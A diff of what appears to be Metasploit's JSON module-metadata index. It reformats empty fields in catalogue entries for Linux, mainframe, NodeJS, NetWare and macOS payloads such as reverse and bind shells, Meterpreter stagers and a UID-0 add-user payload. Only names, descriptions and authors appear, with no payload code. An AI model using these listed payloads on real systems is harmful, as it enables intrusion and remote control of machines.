@@ -246188,9 +218972,7 @@ "payload_linux/x86/adduser": { "name": "Linux Add User", "fullname": "payload/linux/x86/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246200,9 +218982,7 @@ "spoonm " ], "description": "Create a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -246216,8 +218996,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246226,9 +219005,7 @@ "payload_linux/x86/chmod": { "name": "Linux Chmod", "fullname": "payload/linux/x86/chmod", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246236,9 +219013,7 @@ "kris katterjohn " ], "description": "Runs chmod on specified file with specified mode", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -246252,8 +219027,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246262,9 +219036,7 @@ "payload_linux/x86/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246290,8 +219062,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246300,9 +219071,7 @@ "payload_linux/x86/meterpreter/bind_ipv6_tcp": { "name": "Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/linux/x86/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246312,9 +219081,7 @@ "egypt " ], "description": "Inject the mettle server payload (staged).\n\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, @@ -246328,8 +219095,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246340,9 +219106,7 @@ "payload_linux/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246353,9 +219117,7 @@ "OJ Reeves" ], "description": "Inject the mettle server payload (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, @@ -246369,8 +219131,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246381,9 +219142,7 @@ "payload_linux/x86/meterpreter/bind_nonx_tcp": { "name": "Linux Mettle x86, Bind TCP Stager", "fullname": "payload/linux/x86/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246392,9 +219151,7 @@ "skape " ], "description": "Inject the mettle server payload (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, @@ -246408,8 +219165,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246420,9 +219176,7 @@ "payload_linux/x86/meterpreter/bind_tcp": { "name": "Linux Mettle x86, Bind TCP Stager (Linux x86)", "fullname": "payload/linux/x86/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246432,9 +219186,7 @@ "egypt " ], "description": "Inject the mettle server payload (staged).\n\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, @@ -246448,8 +219200,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246460,9 +219211,7 @@ "payload_linux/x86/meterpreter/bind_tcp_uuid": { "name": "Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/linux/x86/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246473,9 +219222,7 @@ "OJ Reeves" ], "description": "Inject the mettle server payload (staged).\n\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, @@ -246489,8 +219236,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246501,9 +219247,7 @@ "payload_linux/x86/meterpreter/find_tag": { "name": "Linux Mettle x86, Find Tag Stager", "fullname": "payload/linux/x86/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246512,9 +219256,7 @@ "skape " ], "description": "Inject the mettle server payload (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, @@ -246528,8 +219270,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246540,9 +219281,7 @@ "payload_linux/x86/meterpreter/reverse_ipv6_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager (IPv6)", "fullname": "payload/linux/x86/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246551,9 +219290,7 @@ "kris katterjohn " ], "description": "Inject the mettle server payload (staged).\n\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, @@ -246567,8 +219304,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246579,9 +219315,7 @@ "payload_linux/x86/meterpreter/reverse_nonx_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager", "fullname": "payload/linux/x86/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246590,9 +219324,7 @@ "skape " ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, @@ -246606,8 +219338,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246618,9 +219349,7 @@ "payload_linux/x86/meterpreter/reverse_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager", "fullname": "payload/linux/x86/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246631,9 +219360,7 @@ "tkmru" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, @@ -246647,8 +219374,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246659,9 +219385,7 @@ "payload_linux/x86/meterpreter/reverse_tcp_uuid": { "name": "Linux Mettle x86, Reverse TCP Stager", "fullname": "payload/linux/x86/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246672,9 +219396,7 @@ "OJ Reeves" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, @@ -246688,8 +219410,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246700,9 +219421,7 @@ "payload_linux/x86/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/x86/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246712,9 +219431,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -246728,8 +219445,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246738,9 +219454,7 @@ "payload_linux/x86/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/x86/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246750,9 +219464,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -246766,8 +219478,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246776,9 +219487,7 @@ "payload_linux/x86/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/x86/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246788,9 +219497,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -246804,8 +219511,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246814,9 +219520,7 @@ "payload_linux/x86/metsvc_bind_tcp": { "name": "Linux Meterpreter Service, Bind TCP", "fullname": "payload/linux/x86/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246824,9 +219528,7 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -246840,8 +219542,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246850,9 +219551,7 @@ "payload_linux/x86/metsvc_reverse_tcp": { "name": "Linux Meterpreter Service, Reverse TCP Inline", "fullname": "payload/linux/x86/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246860,9 +219559,7 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -246876,8 +219573,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246886,9 +219582,7 @@ "payload_linux/x86/read_file": { "name": "Linux Read File", "fullname": "payload/linux/x86/read_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246896,9 +219590,7 @@ "hal" ], "description": "Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -246912,8 +219604,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246922,9 +219613,7 @@ "payload_linux/x86/shell/bind_ipv6_tcp": { "name": "Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/linux/x86/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246934,9 +219623,7 @@ "egypt " ], "description": "Spawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -246950,8 +219637,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246962,9 +219648,7 @@ "payload_linux/x86/shell/bind_ipv6_tcp_uuid": { "name": "Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/linux/x86/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246975,9 +219659,7 @@ "OJ Reeves" ], "description": "Spawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -246991,8 +219673,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247003,9 +219684,7 @@ "payload_linux/x86/shell/bind_nonx_tcp": { "name": "Linux Command Shell, Bind TCP Stager", "fullname": "payload/linux/x86/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247013,9 +219692,7 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247029,8 +219706,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247041,9 +219717,7 @@ "payload_linux/x86/shell/bind_tcp": { "name": "Linux Command Shell, Bind TCP Stager (Linux x86)", "fullname": "payload/linux/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247052,9 +219726,7 @@ "egypt " ], "description": "Spawn a command shell (staged).\n\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247068,8 +219740,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247080,9 +219751,7 @@ "payload_linux/x86/shell/bind_tcp_uuid": { "name": "Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/linux/x86/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247092,9 +219761,7 @@ "OJ Reeves" ], "description": "Spawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247108,8 +219775,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247120,9 +219786,7 @@ "payload_linux/x86/shell/find_tag": { "name": "Linux Command Shell, Find Tag Stager", "fullname": "payload/linux/x86/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247130,9 +219794,7 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247146,8 +219808,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247158,9 +219819,7 @@ "payload_linux/x86/shell/reverse_ipv6_tcp": { "name": "Linux Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/linux/x86/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247169,9 +219828,7 @@ "kris katterjohn " ], "description": "Spawn a command shell (staged).\n\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247185,8 +219842,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247197,9 +219853,7 @@ "payload_linux/x86/shell/reverse_nonx_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/x86/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247207,9 +219861,7 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247223,8 +219875,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247235,9 +219886,7 @@ "payload_linux/x86/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247247,9 +219896,7 @@ "tkmru" ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247263,8 +219910,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247275,9 +219921,7 @@ "payload_linux/x86/shell/reverse_tcp_uuid": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/x86/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247287,9 +219931,7 @@ "OJ Reeves" ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247303,8 +219945,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247315,9 +219956,7 @@ "payload_linux/x86/shell_bind_ipv6_tcp": { "name": "Linux Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/linux/x86/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247325,9 +219964,7 @@ "kris katterjohn " ], "description": "Listen for a connection over IPv6 and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247341,8 +219978,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247351,9 +219987,7 @@ "payload_linux/x86/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247361,9 +219995,7 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247377,8 +220009,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247387,9 +220018,7 @@ "payload_linux/x86/shell_bind_tcp_random_port": { "name": "Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/linux/x86/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247415,8 +220044,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247425,9 +220053,7 @@ "payload_linux/x86/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", "fullname": "payload/linux/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247435,9 +220061,7 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247451,8 +220075,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247461,9 +220084,7 @@ "payload_linux/x86/shell_find_tag": { "name": "Linux Command Shell, Find Tag Inline", "fullname": "payload/linux/x86/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247471,9 +220092,7 @@ "skape " ], "description": "Spawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247487,8 +220106,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247497,9 +220115,7 @@ "payload_linux/x86/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247508,9 +220124,7 @@ "joev " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247524,8 +220138,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247534,9 +220147,7 @@ "payload_linux/x86/shell_reverse_tcp_ipv6": { "name": "Linux Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/linux/x86/shell_reverse_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247544,9 +220155,7 @@ "Matteo Malvica " ], "description": "Connect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, @@ -247560,8 +220169,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247570,9 +220178,7 @@ "payload_linux/zarch/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/zarch/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247582,9 +220188,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "zarch", "rport": null, @@ -247598,8 +220202,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247608,9 +220211,7 @@ "payload_linux/zarch/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/zarch/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247620,9 +220221,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "zarch", "rport": null, @@ -247636,8 +220235,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247646,9 +220244,7 @@ "payload_linux/zarch/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/zarch/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247658,9 +220254,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "zarch", "rport": null, @@ -247674,8 +220268,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247684,9 +220277,7 @@ "payload_mainframe/shell_reverse_tcp": { "name": "Z/OS (MVS) Command Shell, Reverse TCP Inline", "fullname": "payload/mainframe/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247694,9 +220285,7 @@ "Bigendian Smalls" ], "description": "Listen for a connection and spawn a command shell.\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", - "references": [ - - ], + "references": [], "platform": "Mainframe", "arch": "zarch", "rport": null, @@ -247710,8 +220299,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247720,9 +220308,7 @@ "payload_multi/meterpreter/reverse_http": { "name": "Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)", "fullname": "payload/multi/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247730,9 +220316,7 @@ "OJ Reeves" ], "description": "Handle Meterpreter sessions regardless of the target arch/platform.\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Multi", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, @@ -247746,8 +220330,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247758,9 +220341,7 @@ "payload_multi/meterpreter/reverse_https": { "name": "Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)", "fullname": "payload/multi/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247768,9 +220349,7 @@ "OJ Reeves" ], "description": "Handle Meterpreter sessions regardless of the target arch/platform.\n\nTunnel communication over HTTPS", - "references": [ - - ], + "references": [], "platform": "Multi", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, @@ -247784,8 +220363,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247796,9 +220374,7 @@ "payload_netware/shell/reverse_tcp": { "name": "NetWare Command Shell, Reverse TCP Stager", "fullname": "payload/netware/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247806,9 +220382,7 @@ "toto" ], "description": "Connect to the NetWare console (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Netware", "arch": "x86", "rport": null, @@ -247822,8 +220396,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247834,9 +220407,7 @@ "payload_nodejs/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via nodejs)", "fullname": "payload/nodejs/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247844,9 +220415,7 @@ "joev " ], "description": "Creates an interactive shell via nodejs", - "references": [ - - ], + "references": [], "platform": "NodeJS", "arch": "nodejs", "rport": null, @@ -247860,8 +220429,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247870,9 +220438,7 @@ "payload_nodejs/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via nodejs)", "fullname": "payload/nodejs/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247881,9 +220447,7 @@ "joev " ], "description": "Creates an interactive shell via nodejs", - "references": [ - - ], + "references": [], "platform": "NodeJS", "arch": "nodejs", "rport": null, @@ -247897,8 +220461,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247907,9 +220470,7 @@ "payload_nodejs/shell_reverse_tcp_ssl": { "name": "Command Shell, Reverse TCP SSL (via nodejs)", "fullname": "payload/nodejs/shell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247918,9 +220479,7 @@ "joev " ], "description": "Creates an interactive shell via nodejs, uses SSL", - "references": [ - - ], + "references": [], "platform": "NodeJS", "arch": "nodejs", "rport": null, @@ -247934,8 +220493,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247944,9 +220502,7 @@ "payload_osx/aarch64/exec": { "name": "OSX aarch64 Execute Command", "fullname": "payload/osx/aarch64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247954,9 +220510,7 @@ "alanfoster" ], "description": "Execute an 